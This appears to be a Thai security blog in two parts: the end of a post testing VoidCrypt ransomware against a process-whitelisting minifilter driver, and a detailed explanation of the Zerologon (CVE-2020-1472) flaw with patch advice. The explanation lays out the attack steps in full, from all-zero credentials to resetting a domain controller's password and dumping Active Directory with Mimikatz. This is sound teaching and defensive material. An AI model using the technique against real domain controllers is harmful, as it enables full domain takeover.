เนื่องจากบริการข้อ 1–4 ที่กล่าวถึง ผู้วิเคราะห์สามารถใช้งานได้ฟรี แม้จะมีข้อจำกัดบ้างเมื่อเทียบกับ package ที่เสียเงิน แต่ทำให้เรารู้ข้อมูลบางส่วนเพื่อตัดสินใจว่าจะเสียเงินซื้อเพิ่มเพื่อใช้งาน function เสริมหรือไม่ ซึ่งโดยปกติแล้วผลการทดสอบหากใช้งานฟรีจะทำการ publish ให้สามารถ access ได้ ในทางปฏิบัติเราอาจจะไม่อยากให้ attacker รู้ตัวเนื่องจาก source IP หรือ traffic ที่ฝั่ง attacker จะเห็นนั้นย่อมคาดการได้ว่ากำลังถูก analyze อยู่ หรือข้อมูลบางอย่างที่ specific กับ malware ที่สร้างมาโจมตีองค์กรของเราโดยเฉพาะอาจจะหลุดไปก็ได้ (ดู advanced มากแต่ก็เป็นอีกเรื่องที่เราควรจะพิจารณาด้วย) ทางเลือกคือใช้ sandbox ที่สามารถระงับการส่งผลไปยัง Antivirus Engine ยี่ห้ออื่น ๆ โดยสามารถใช้บริการผ่าน {rel=""nofollow""} ซึ่งเป็น online sandbox ที่ทำงานได้ดีเช่นเดียวกัน

และยังสามารถ request การ delete ผลการ scan ได้ :br
## ลองจับ VoidCrypt มาแกล้งมันบ้าง
ก่อนแกล้งมันจริง ๆ จัง ๆ ต้องลองจับมันเล่นบนเครื่องของผู้เขียนก่อน โดย Desktop หน้าจอเครื่องทดสอบเป็นแบบนี้ครับ

หลังจากทดสอบ run voidcrypt.exe จะพบว่า Desktop ของผู้เขียนถูก VoidCrypt ซัดเกลี้ยงขนาด format .ini และ.py มันยังไม่เว้น โหดสัส!! :br
ภายในระยะเวลาอันสั้นเครื่องทดสอบก็ถูก encrypt และมี file HTA(HTML Application) แสดง message จาก attacker ว่า

ถ้าไปดูรายละเอียดโดยการ intercept ระดับ kernel ด้วย minifilter driver เราจะพบว่าเจ้า VoidCrypt พยายามจัดการ modify กับ file ต่าง ๆ ที่มันอยากจะ encrypt :br
## ทดสอบแกล้งมันด้วย minifilter driver
คำแนะนำจากผู้เชี่ยวชาญหลาย ๆ ท่าน และ Resource ในการรับมือ Ransomware มีให้ศึกษาหลายที่ ผู้อ่านลองไปหาอ่านกันดูนะครับ ส่วนตัวผู้เขียนก็ยังเคยกล่าวถึงในบทความ Difference between Single-stage Ransomware and Multi-stage Ransomware ที่ [/blogs/difference-between-single-stage-ransomware-and-multi-stage-ransomware](https://incognitolab.com/blogs/difference-between-single-stage-ransomware-and-multi-stage-ransomware) บ้างแล้ว
สำหรับครั้งนี้ผู้เขียนอยากจับเจ้า VoidCrypt มาทดสอบกับเครื่องมือที่เป็นหนึ่งในผลงานวิจัยส่วนตัวซึ่งยังไม่มีทีท่าว่าจะพัฒนาออกมาเป็น product ได้หรือไม่ :br
โดยใช้เทคนิคเลียนแบบ ATM Whitelisting Solution ที่ทำการ Deploy ไว้ที่ host machine ในตู้ ATM ที่จะอนุญาตเฉพาะ Application ที่อยู่ใน whitelist ทำงานได้เท่านั้น สำหรับวิธีของ minifilter driver จะคอย monitor process และจะอนุญาตเฉพาะแต่ process ที่อยู่ใน whitelist เปิด file ที่ควรเปิดทำงานได้เท่านั้น เช่นเอกสาร MS Office ก็ควรจะถูกเปิดได้เฉพาะแต่ MS Office Application หรือ MS Office process เท่านั้น หาก process อื่นมาเปิด minifilter driver ก็จะไม่ยอม ตาม enforcement rules ทดสอบด้านล่าง
```text
#Test CaseAllow excel.exe --> \*.xls, \*.xlsx, \*.xlsmAllow powerpnt.exe --> \*.ppt, \*.pptxAllow winword.exe --> \*doc, \*docx
```
ข้อดีของ minifilter driver คือทำงานในระดับ kernel mode ซึ่งโดยปกติแล้ว Device Drivers เป็น loadable kernel module ทํางานในระดับ kernel mode สามารถ load และ unload ออกจาก kernel ได้โดยท่ีไม่ต้อง restart ระบบปฏิบัติการ (แต่ driver ที่ทำการทดสอบเป็น unsigned driver ต้องแก้ให้ Window ยอมให้ install ก่อน)
หลังจากลองปล่อยให้ VoidCrypt ทำงานพบว่า มันโดนเทคนิค Annoyance ก่อกวนไม่ให้ทำงานได้ตามที่มันต้องการ โดย Annoyance เป็น 1 ใน 3 เทคนิคของ offensive countermeasure โดย file MS Office บน Desktop รอดพ้นจากการถูก encrypt

ลองไปดู file access log พบว่าเจ้า VoidCrypt พยายามลาก file ของเราไปยัง directory ที่เห็นในภาพ :br
ลอง browse ไปดู temp directory จะพบว่ามันมั่นใจว่าจะ encrypt ได้สำเร็จ รีบสร้าง message file ออกมาก่อนแต่จริง ๆ แล้วมันทำอะไรไม่ได้ โดน block access ก็แน่ล่ะสิ การทำงานของ VoidCrypt และ Driver มันอยู่กันคนละ Level นะ VoidCrypt ทำงานในระดับ user mode แต่ minifilter driver อยู่ใน kernel mode

## สรุป
การป้องกัน Ransomware ต้องอาศัยการป้องกันแบบ Defense-in-depth การมั่นใจว่ามี backup ไม่ได้เป็นการการันตีว่าจะรับมือ Multi-stage ransomware ได้ การมี solution ป้องกัน malware แต่ขาดการดูแลในองค์รวม ก็ช่วยแก้ปัญหาได้ระยะสั้นเท่านั้น ส่วนการป้องกันในระดับ kernel สำหรับผมแล้วก็ยัง sexy และยังรับมือพวก Ransomware ได้ตามที่ตั้งสมมติฐานเอาไว้
ขอให้ผู้อ่านทุกท่านแคล้วคลาดจาก Ransomware กันนะครับ
## Reference
1. เครื่องไม้เครื่องมือที่กล่าวถึงในบทความนี้ และเครื่องมือ หรือ Link อื่น ๆ ที่น่าสนใจสามารถอ่านเพิ่มเติมได้จากบทความ "Free Malware Sample Sources for Researchers" ที่ {rel=""nofollow""}
2. VoidCrypt ในรูปแบบ Russian ลองไปดูได้ที่ {rel=""nofollow""}
# ชำแหละ Zerologon (CVE-2020-1472)
สองสามวันที่ผ่านมานี้หลายคนอาจจะได้ยินเรื่องช่องโหว่ระดับความรุนแรงสูงมาก (CVSS v3 score เต็ม 10 ไม่มีหัก) ของ Windows ที่ชื่อว่า Zerologon กันมาบ้างแล้ว มีผลกระทบกับ Domain Controller รุนแรงถึงขนาดที่ว่า สามารถเข้ายึด active directory และกลายเป็น domain admin ได้แทบจะในทันที
โดยสิ่งที่ได้รับผลกระทบจากช่องโหว่นี้คือ Netlogon Remote Protocol ซึ่งเป็น Remote Procedure Call (RPC) interface ที่ถูกใช้เพื่อ secure ช่องทางการสื่อสารระหว่างเครื่อง server ที่ join-domain กับ Domain Controller (DC) นอกจากนั้น Netlogon ยังถูกใช้ในหลาย ๆ operation ที่มีความสำคัญใน domain มากขนาดขาดไม่ได้เลยทีเดียว
## Too Long; don’t read. (TL;DR)

สำหรับบุคคลทั่วไปที่ไม่ได้อยากอ่านละเอียดเชิงลึกของช่องโหว่นี้ สามารถอ่านรายละเอียดคร่าว ๆ ที่ตรงนี้ได้ครับ
ช่องโหว่นี้มีสาเหตุมาจากการเข้ารหัสแบบ AES-128-CFB8 บน Netlogon Remote Protocol มีจุดบกพร่องในการ implement ทำให้ hacker สามารถที่จะโจมตีผ่านช่องโหว่ดังกล่าวและเข้ายึด active directory ได้ทันที ซึ่งมีความรุนแรงมากและกระทบกับ Windows Server ที่เป็น Domain Controller (DC) ตาม version ต่อไปนี้
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
บางท่านอาจจะคิดว่าองค์กรมีอุปกรณ์ monitor ที่ detect ช่องโหว่นี้ได้อยู่แล้ว หากโดนโจมตี แต่หารู้ไหมว่า การโจมตีด้วยช่องโหว่นี้เพียงเวลาสั้น ๆ ก็สามารถ replicate ข้อมูลบน active directory ออกมาได้ทั้งหมด ถึงต่อให้ detect พบ แต่ข้อมูลบน active directory ก็อาจจะหลุดไปแล้วก็เป็นได้ เพราะฉะนั้นควรรีบอัพเดท patch โดยทันทีครับ
## วิธีการแก้ไขและการตรวจสอบ
ดูรายละเอียด patch ได้ที่:
- {rel=""nofollow""}
- {rel=""nofollow""}
แต่อย่าลืมทดสอบอัพเดท patch ในเครื่องทดสอบ ก่อนที่จะอัพเดทบน production จริงนะครับ
หรือ admin ท่านใดอยากทราบว่า server ที่ใช้อยู่มีช่องโหว่ไหม สามารถใช้ script ใน ด้านล่าง เพื่อตรวจสอบได้ครับ โดยจะเป็น script ที่ใช้ในการตรวจสอบเท่านั้นไม่ได้มีผลกระทบอะไรกับระบบ เนื่องจาก script ไม่ได้ไปทำการเปลี่ยน computer password ของ Domain Controller ให้เป็นค่าว่าง (empty) แต่อย่างใด:
{rel=""nofollow""}
นอกจากนี้ ยังมี security researcher พบว่า Samba version < 4.8 บน linux ก็มีช่องโหว่นี้ด้วยเช่นเดียวกัน (Samba ก็ support Netlogon และค่า IV เป็น 0 คงที่เหมือนกัน): {rel=""nofollow""}
จบตรงนี้สำหรับคนที่ไม่อยากอ่านยาว.. แต่สำหรับใครที่อยากเข้าใจช่องโหว่นี้ให้มากขึ้น ก็ตามมาได้เลยครับ บอกเลยว่าไม่ได้เข้าใจยากอย่างที่คิด และมีวิธีการต่าง ๆ ในการหาวิธี bypass security mechanism ต่าง ๆ เพื่อหาทาง compromise Domain Controller ที่น่าสนใจเลยทีเดียว :br
## เริ่มต้นกันด้วย.. Netlogon Remote Protocol คืออะไร?
Netlogon Remote Protocol เป็น [Remote Procedure Call (RPC)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759499%28v=ws.10%29?redirectedfrom=MSDN){rel=""nofollow""} interface ที่ถูกใช้เพื่อ secure ช่องทางการสื่อสารระหว่างเครื่อง domain member กับ Domain Controller (DC) และเช่นเดียวกันกับ RPC อื่น ๆ ที่มีการใช้งาน dynamic port และสามารถใช้งานผ่าน SMB [named pipes](https://docs.microsoft.com/en-us/windows/win32/ipc/pipes){rel=""nofollow""} ที่ port TCP/445 ได้อีกด้วย
Netlogon เองมีหน้าที่ที่สำคัญใน domain เช่น เป็น protocol ที่ OS ใช้ในการเปลี่ยน [computer account password](https://adsecurity.org/?p=280){rel=""nofollow""} กับ DC เป็นต้น
> Domain member ทุกเครื่องจะมี computer account อยู่บน active directory เสมอ และมี password ที่เป็นค่าสุ่มและถูกเปลี่ยนอัตโนมัติทุก ๆ 30 วัน
นอกจากนี้ Netlogon ยังมีหน้าที่อีกมากมายที่สำคัญต่อ domain โดยสามารถดูรายละเอียดได้ที่ [protocol specification](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""} ของ Microsoft ครับ
## ขั้นตอนเริ่มต้นของ Netlogon เป็นอย่างไร?
ก่อนที่จะเจาะลงไปถึงจุดอ่อนที่เป็นช่องโหว่ของ protocol นี้ ขั้นแรกเราจะต้องมาทำความเข้าใจขั้นตอนการทำ session key negotiation และการยืนยันตัวตนของ Netlogon กันซะก่อน สำหรับหลักการในการยืนยันตัวตนของ Netlogon นั้นจะใช้ shared secret (ความลับที่รู้อยู่แล้วของทั้งสองฝ่าย) ในการพิสูจน์ว่า แต่ละฝั่งของการสื่อสารนั้น คือเครื่องที่อยากสื่อสารด้วยจริง ๆ ([Mutual authentication](https://en.wikipedia.org/wiki/Mutual%5Fauthentication){rel=""nofollow""}) ไม่ใช่ใครก็ไม่รู้เนียนมาคุยด้วย เพื่อล้วงความลับ
ข้างล่างจะเป็นการอธิบายขั้นตอนการทำ session key negotiation และการยืนยันตัวตนของ Netlogon แบบ simplified ครับ

ขั้นตอนที่ 1 แลกข้อมูลกันก่อน ในขั้นตอนแรกเริ่ม client (เครื่องที่เป็น domain member) จะส่ง challenge ซึ่งเป็นค่าสุ่มมีขนาด 8 bytes ไปหา server และ server ก็จะส่ง challenge ที่ตัวเองสุ่มได้กลับไปหา client
ขั้นตอนที่ 2 แยกกัน generate Session key — จากนั้นทั้งสองฝั่งก็จะนำค่า client challenge, server challenge (ในรูปคือ challenges) และ shared secret (ในรูปคือ secret) ที่ได้มาเข้าฟังก์ชัน \KDF ([key derivation function](https://en.wikipedia.org/wiki/Key%5Fderivation%5Ffunction){rel=""nofollow""}) (เบื้องหลังจริง ๆ คือ [HMAC-SHA256](https://en.wikipedia.org/wiki/HMAC){rel=""nofollow""}) เพื่อสร้าง Session key ขนาด 16 bytes ขึ้นมา
Shared secret คือ computer account password ซึ่งจะถูกจัดเก็บไว้ใน registry `HKLM\Security\Policy\Secret\$MACHINE.ACC` ที่ฝั่ง client และอีกที่คือ ใน active directory บน Domain Controller
ขั้นตอนที่ 3 แลก credential —เริ่มแรก client จะทำการ encrypt challenge ของตัวเองด้วย session key ที่ generate ขึ้นมาจากขั้นตอนที่ 2 ด้วย cipher [AES-128-CFB8](https://en.wikipedia.org/wiki/Block%5Fcipher%5Fmode%5Fof%5Foperation#Cipher%5Fblock%5Fchaining%5F%28CBC%29){rel=""nofollow""}(ในรูปคือฟังก์ชัน Encrypt) จะได้ผลลัพธ์ออกมาเป็น client credential และส่งไปหา server
จากนั้นหน้าที่ของ server คือการนำ session key ของตนเอง (แยกกันคำนวณก็จริงแต่ค่าที่ออกมาต้องได้ค่าเดียวกัน) และ client challenge มา generate credential โดยใช้วิธีเดียวกันกับที่ client ทำ และนำค่าที่ได้มาเปรียบเทียบกับ client credential ที่ client ส่งมา ([protocol specification](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""} section 3.1.4.1 ข้อ 6)
ถ้าไม่ตรงกันฝั่ง server ก็จะ ส่งผลไปบอก client ว่าไม่ถูกต้อง และหยุดการคุยกันแต่เพียงเท่านี้ แต่ถ้าตรงกัน server ใช้ server challenge ในการ generate server credential ของตนเองขึ้นมาและส่งไปให้ client
จากนั้น client จะทำการตรวจสอบโดยใช้วิธีการเดียวกันกับ server หากค่าที่ได้มาถูกต้อง ทั้งสองฝั่งก็จะใช้ session key ที่ตกลงกัน ในการ signed และ sealed (encrypted) packet ที่จะส่งหากันต่อจากนี้
## จุดอ่อนที่หัวใจ ของ Netlogon
จากขั้นตอน session key negotiation และยืนยันตัวตนของทั้งสองฝั่งจะเห็นได้ว่าค่าที่สำคัญมาก เลยคือ session key (ซึ่งได้มาจาก shared secret ซึ่งก็คือ computer account password อีกทีหนึ่ง) :br
Source: {rel=""nofollow""}
ลองจินตนาการว่าตัวเองเป็น hacker แล้วพยายามจะปลอมตัวว่าเป็นเครื่อง server เครื่องหนึ่งที่เป็น domain member (ในรูปคือ Client) เพื่อทำรายการต่าง ๆ บน Netlogon Remote Protocol จะเห็นได้ว่าแทบไม่มีทางเป็นไปได้ ถ้าไม่ได้ทำการ compromise เครื่อง server ดังกล่าวมาก่อน เนื่องจากที่จะต้องรู้ค่า shared secret ในการสร้าง session key ขึ้นมา
แต่ !! จากช่องโหว่ที่ถูกค้นพบนี้ ทำให้เราไม่จำเป็นต้องรู้ shared secret หรือ session key ก็จะสามารถปลอมตัวเป็นเครื่อง server เครื่องใดที่อยู่ใน domain ก็ได้ !! ทำได้ยังไงนั่น มาเริ่มกันเลยครับ..
## จุดอ่อนของฉัน อยู่ตรงที่ AES-128-CFB8 \~♪

Source: {rel=""nofollow""}
ในขั้นตอนที่ 3 method ที่ใช้ generate credential คือ method `ComputeNetLogonCredential` ซึ่งเบื้องหลังก็คือการเอา \challenge มาเข้ารหัสด้วย shared secret โดยใช้ cipher \AES-128 ในโหมด CFB8 (8-bit cipher feedback)
หากลองอ่าน [protocol specification](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""} ของ Netlogon ที่ section 3.1.4.4.1 จะพบว่ามีเข้ารหัสโดยใช้ Initialization Vector (IV) ที่มีการ fix ค่าไว้เป็น 0 !!

Source: {rel=""nofollow""} (section: 3.1.4.4.1)
ซึ่งไม่เป็นไปตาม security best practice ในการใช้งาน IV กับ AES-128-CFB8 เนื่องจากค่า IV ควรจะที่เป็นค่าสุ่มใหม่ทุกครั้งที่มีการเข้ารหัส (NONCE) การที่ IV เป็นค่าที่คาดเดาล่วงหน้าได้นั้นทำให้ ความปลอดภัยในการใช้งาน AES-128-CFB8 นั้นลดลงไป (อ้างอิง [NIST SP 800–38A](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf){rel=""nofollow""})

นอกจากนี้ ขั้นตอนที่ server ทำการตรวจสอบ client credential นั้น มีวิธีการ คือ
นำ session key ของตนเอง และ client challenge มา generate credential โดยใช้วิธีเดียวกันกับที่ client ทำ (ใช้ AES-128-CFB8 ที่ IV = 0)
และนำค่าที่ได้มาเปรียบเทียบกับ client credential ที่ client ส่งมา
ถ้าไม่ตรงกันฝั่ง server ก็จะ ส่งผลไปบอก client ว่าไม่ถูกต้อง และหยุดการคุยกันแต่เพียงเท่านี้ แต่ถ้าตรงกัน server จะใช้ server challenge ในการ generate server credential ของตนเองขึ้นมาและส่งไปให้ client
โดยจุดอ่อนตรงนี้เป็นจุดที่สำคัญจุดแรกที่ทำให้ hacker สามารถใช้เทคนิคเดียวกันในการทะลวง security mechanism จุดอื่น ๆ ที่เหลือได้ทั้งหมด จนสามารถ compromise Domain Controller ได้
## IV ใน AES-128-CFB8 ถูก fix เป็น 0 ทั้งหมดแล้วยังไง?
ก่อนที่จะดูในกรณีที่ IV ถูก fix ค่าเป็น 0 เรามาดูขั้นตอนการเข้ารหัสแบบ AES-128-CFB8 กันก่อน โดยจะมีขั้นตอนคร่าว ๆ ตามรูปด้านล่าง
block สีส้ม คือ IV
block สีฟ้า คือ plaintext
block สีเขียว คือ output ที่ได้มาจากการ encrypt ด้วย AES
block สีแดง คือ ciphertext ที่เป็นผลลัพธ์จาก mode CFB8

Source: {rel=""nofollow""}
สำหรับ AES cipher นั้นโอกาสของแต่ละ bit ของ output (ในรูปคือสีเขียว) ที่จะเป็น 0 หรือเป็น 1 นั้น มีค่าเท่ากัน คือ 1/2 ไม่ว่า input หรือ key ที่ใส่เข้ามาจะเป็นค่าอะไรก็ตาม พูดอีกแง่คือ ไม่มี bias ทางสถิติ จึงทำให้ความน่าจะเป็นที่ในแต่ละ bit จะมีค่าเป็น 0 หรือ 1 ออกมาพอ ๆ กัน
และหากใช้สมมติฐานนี้ในการคำนวณว่ามีความเป็นไปได้ (probability) เท่าไหร่ที่ byte แรกของ output จาก AES จะมีค่าเป็น 0 ?
คำตอบก็คือ
```text
(1/2)\*(1/2)\*(1/2)\*(1/2)\*(1/2)\*(1/2)\*(1/2)\*(1/2) = 1/2⁸ =1/256
```
โดยมาจากโอกาสที่แต่ละ bit จะเป็น 0 ทั้งหมดทั้ง 8 bits
และถ้า IV มีค่าเป็น 0 ทั้งหมด, plaintext มีค่าเป็น 0 ทั้งหมด แถมค่า byte แรกของ output จาก AES ออกมาเป็น 0 อีก เปรียบเสมือนการเรียงตัวกันของดวงอาทิตย์, ดวงจันทร์ และ โลก ตอนเกิดสุริยุปราคา พอดีเป๊ะ

จะทำให้เกิดอาการ 0 lock กล่าวคือ ต่อให้เข้ารหัสด้วย AES ไปอีกซักกี่รอบ ผลลัพธ์สุดท้าย (ciphertext สีแดงในรูป) ก็จะออกมาเป็น 0 อยู่ดี ตามรูปด้านล่าง
block สีส้ม คือ IV ซึ่งถูก fix เป็น 0 ทั้งหมด
block สีฟ้า คือ plaintext ซึ่งเป็นค่าที่ client สามารถกำหนดได้และในกรณีนี้ถูก fix เป็น 0 ทั้งหมดเช่นเดียวกัน (ในกรณีนี้คือ client challenge)
block สีเขียว คือ output ที่ได้มาจากการ encrypt ด้วย AES (key ในกรณีนี้คือ session key\\)
block สีแดง คือ ciphertext ที่เป็นผลลัพธ์จาก mode CFB8 ซึ่งในกรณีนี้จะถูกใช้เป็น client credential

Source: {rel=""nofollow""}
จากการคำนวณโอกาสที่ byte แรกของ output จาก AES เป็น 0 คือ 1 ใน 256 นั้น ทำให้สามารถสรุปได้ว่า..
> ถ้า IV มีค่าเป็น 0 ทั้งหมด และ plaintext มีค่าเป็น 0 ทั้งหมดแล้ว จะมีโอกาส 1 ครั้งจาก 256 ครั้ง ที่ ciphertext จะมีค่าเป็น 0 ทั้งหมดโดยไม่จำเป็นต้องสนใจว่าจะใช้ key อะไรในการ encrypt
หรือจะพูดให้ง่ายขึ้นในอีกมุมคือ ถ้าสุ่ม key ในการ encrypt ไปเรื่อย ๆ ภายใต้เงื่อนไขนี้ จะมี 1 ครั้งจาก 256 ครั้ง ที่ ciphertext จะออกมาเป็น 0 ทั้งหมด
พูดมาซะยืดยาว ถึงตอนนี้แล้วยังจำได้กันอยู่ไหมครับว่า key ในการ encrypt เพื่อ generate client credential คือ \session key ที่เราไม่รู้ค่านั้นเอง
และเนื่องจาก computer account จะไม่ถูก lock แม้ว่าจะมีการ login ผิดเกิดขึ้นซ้ำ ๆ และหากส่ง client credentail ผิดไป 1 ครั้ง กระบวนการตั้งแต่การส่ง challenge, สร้าง session key จะต้องเริ่มใหม่ทั้งหมด ทำให้ session key เป็นค่าใหม่ทุกครั้ง
จากการคำนวณและเหตุผลข้างบนทั้งหมด ทำให้สรุปได้ว่า เราสามารถส่ง client challenge และ client credential ที่มีค่าเป็น 0 ทั้งหมด ไปยัง server เรื่อย ๆ จนกว่า server จะบอกว่า client credential ถูกต้องได้ โดยจะมีโอกาสที่ถูกต้อง 1 ครั้ง จากการส่งทั้งหมด 256 ครั้ง (โดยเฉลี่ย) ตามรูป

Source: {rel=""nofollow""}
โดยวิธีการโจมตีการเข้ารหัสเพื่อหาจุดอ่อนในลักษณะนี้ที่ hacker สามารถเลือก plaintext ในการ encrypt เพื่อให้ได้ ciphertext ที่เป็นคู่กันออกมา และใช้ประโยชน์จากคู่ plaintext, ciphertext วิเคราะห์หาความสัมพันธ์และหาจุดอ่อนของการเข้ารหัสแบบนี้ มีชื่อเรียกในวงการว่า[Chosen-plaintext Attack (CPA)](https://en.wikipedia.org/wiki/Chosen-plaintext%5Fattack){rel=""nofollow""}
แต่เมื่อ bypass ขั้นตอน session key negotiation และการยืนยันตัวตนได้เรียบร้อยแล้ว ก็จะไปติดอีกขั้นที่ได้พูดถึงไปตอนต้น ๆ คือ ขั้นที่ packet ที่จะส่งหากันหลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว จะถูก sign และ encrypt ด้วย session key อีกทีหนึ่ง (และ cipher ไม่ใช่ AES-128-CFB8) ซึ่งแน่นอนว่าเราไม่รู้ session key จึงทำให้ sign และ encrypt ไม่ได้… เจอทางตันซะแล้วใช่ไหม…


ยังครับ ยังไม่ตัน.. มีทางแก้อยู่อีกวิธีหนึ่งคือ ในขั้นตอนที่ client ส่ง client credential ไปหา server นั้น client จะเรียกใช้ method `NetrServerAuthenticate3`([protocol specification](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""}section 3.5.4.4.2)ในการส่ง client credential ไปยัง server ซึ่งใน method นี้จะสามารถส่ง `NegotiateFlags` ไปบอก server เพื่อปฏิเสธการ sign/encrypt ได้ ทำให้หลังจากที่ยืนยันตัวตนเสร็จแล้ว ก็จะไม่มีการ sign/encrypt packet ด้วย session key เกิดขึ้น

## Bypass Authenticator Verification
งั้นเราก็สามารถปิดเกม เรียกใช้งาน method อะไรก็ได้บน Netlogon ได้แล้วซิ?
เดี๋ยวก่อน… ใจเย็น ๆ ถ้าลองไปอ่าน protocol spec ที่ section 3.1.4.5ดูจะพบว่า ในหลาย ๆ method ที่มีความสำคัญ client จะต้องแนบ authenticator ของตัวเอง (`NETLOGONAUTHENTICATOR`) ไปใน request ด้วยเสมอ

และหากดูขั้นตอนการตรวจสอบ authenticator ในฝั่ง server ตามรูปด้านล่าง

Source: {rel=""nofollow""} (section: 3.1.4.5)
1. server นำค่า client credential ที่ได้รับมาจาก client ในขั้นตอนแรก ๆ (`ServerStoredCredential`) มาบวกกับค่า Timestamp ใน authenticator ที่ client ส่งมา (`ClientAuthenticator.Timestamp`)
2. นำค่าที่ได้ไปเข้ารหัสด้วย session key โดยใช้ method `ComputeNetLogonCredential` (ซึ่งเบื้องหลังก็คือ \AES-128-CFB8 ที่ fix ค่า IV ไว้เป็น 0 ทั้งหมด)
3. จากนั้นจึงนำค่าที่ได้มาเทียบกับ credential ใน authenticator ที่ client ส่งมา (`ClientAuthenticator.Credential`) ว่าเท่ากันหรือไม่ ถ้าเท่ากันก็ถือว่า \authenticator ที่ส่งมานั้นถูกต้อง
แล้ว authenticator ในฝั่ง client generate ขึ้นมายังไง?
วิธีในการ generate authenticator ขึ้นมาเป็นไปตามด้านล่าง

Source: {rel=""nofollow""} (section: 3.1.4.5)
จะเห็นได้ว่าค่าที่มีความสำคัญ คือ
1. `ClientAuthenticator.Timestamp` — เป็น [POSIX Time](https://en.wikipedia.org/wiki/Epoch%5F%28computing%29){rel=""nofollow""}
2. `ClientAuthenticator.Credential` — ซึ่งมาจาก `ClientStoreCredential` + `TimeNow` และเข้ารหัสด้วย session key โดยใช้ AES-128-CFB8
`ClientStoreCredential` ตอนเริ่มแรก จะมีค่าเท่ากับ client credential (ในกรณีนี้คือเป็น 0) และค่าจะถูกเพิ่มขึ้นเรื่อย ๆ ขณะมีการเรียกใช้งาน method กับ server
ซึ่งค่าของ `ClientAuthenticator.Timestamp` และ `ClientAuthenticator.Credential` เป็นค่าที่สำคัญที่ server จะใช้ในการตรวจสอบ หากเราบังคับให้ทั้งสองค่าเป็น 0 ทั้งหมดแล้ว ก็จะสามารถ bypass การตรวจสอบ authenticator ได้ เหมือนกับขั้นตอน session key negotiation และยืนยันตัวตนในตอนแรกเริ่ม
## กุญแจสำคัญในการ Compromise Domain Controller !!
เมื่อหาวิธี bypass การตรวจสอบ authenticator ได้แล้ว ขั้นตอนต่อไปคือการหา method ที่จะใช้งานเพื่อ compromise Domain Controller ให้ได้ โดย method ที่ได้รับเลือก นั้นก็คือ…
`NetrServerPasswordSet2`([protocol specification](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""}section 3.5.4.4.5) — เป็น method ที่ใช้สำหรับเปลี่ยน password ของ computer account ซึ่ง computer account ที่ตกเป็นเป้าหมายก็คือ Domain Controller นั้นเอง
ซึ่ง parameter ที่เราจะต้องใช้ใน method `NetrServerPasswordSet2` มีดังนี้

Source: [https://docs.microsoft.com/en-us/openspecs/windows\protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f](https://docs.microsoft.com/en-us/openspecs/windows%5Cprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""} (section: 3.5.4.4.5)
Parameter ที่สำคัญนอกจาก `AccountName`, `ComputerName` และ `Authenticator` (ที่มีค่าเป็น 0) แล้ว ก็คือ `ClearNewPassword`
\`\`
และ.. `ClearNewPassword` เป็นค่าที่ถูก encrypt ด้วย session key โดยใช้ \AES-128-CFB8 อีกเช่นเดียวกัน
ค่าของ `ClearNewPassword` ก่อนที่จะถูก encrypt นั้นจะมีรูปแบบดังนี้ ([protocol specification](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f){rel=""nofollow""}section 2.2.1.3.7)

Source: {rel=""nofollow""} (section: 2.2.1.3.7)
`Buffer` มีรูปแบบตามรูปด้านล่าง

Source: {rel=""nofollow""} (section: 2.2.1.3.7)
และ `Length` ขนาด 4 bytes เอาไว้ระบุขนาดของ password ใหม่
รวมทั้งหมด `ClearNewPassword` จะมีขนาดเป็น `512 + 4 = 516 bytes`
ซึ่งทั้งค่า `Buffer` และ `Length` สามารถเป็น 0 ได้ทั้งหมด และเข้าทางจุดอ่อนของ AES-128-CFB8 พอดี
จากเหตุผลข้างบน เลยส่งผลให้การโจมตีด้วยช่องโหว่นี้ทำให้ computer account password เป็นค่าว่าง (empty) นั่นเอง

## ภาพรวมขั้นตอนการโจมตีทั้งหมด
เมื่อนำขั้นตอนการโจมตีที่อธิบายไปข้างต้นทั้งหมดมารวมกันในภาพเดียวให้เป็นภาพง่าย ๆ ก็จะเป็นไปตามด้านล่าง

หมายเหตุ การเปลี่ยน password โดยวิธีนี้เป็นการเปลี่ยน password บน active directory เท่านั้น ไม่ได้ไปเปลี่ยนค่าที่ถูกเก็บไว้ที่ registry `HKLM\Security\Policy\Secret\$MACHINE.ACC` ด้วย ทำให้เครื่องที่ตกเป็นเป้าหมาย ไม่สามารถที่จะ authenticate กับ Domain Controller ได้อีก และแน่นอนหากเครื่องที่ตกเป็นเป้าหมายคือ Domain Controller ก็จะทำให้เครื่องทำงานผิดปกติได้
ซึ่งวิธีการแก้ไขปัญหาข้างต้นทำได้ด้วยการเปลี่ยน computer account password บน active directory ให้กลับไปเป็นค่าเดิม
## เปลี่ยน computer account password ของ DC ได้แล้วยังไงต่อ?
Computer account ของ DC นั้น มีสิทธิในการ replicate active directory ผ่าน [Domain Replication Service (DRS) protocol](https://docs.microsoft.com/en-us/openspecs/windows%5Fprotocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47){rel=""nofollow""} ออกมา ซึ่งสามารถทำได้โดยการใช้ Mimikatz: {rel=""nofollow""}
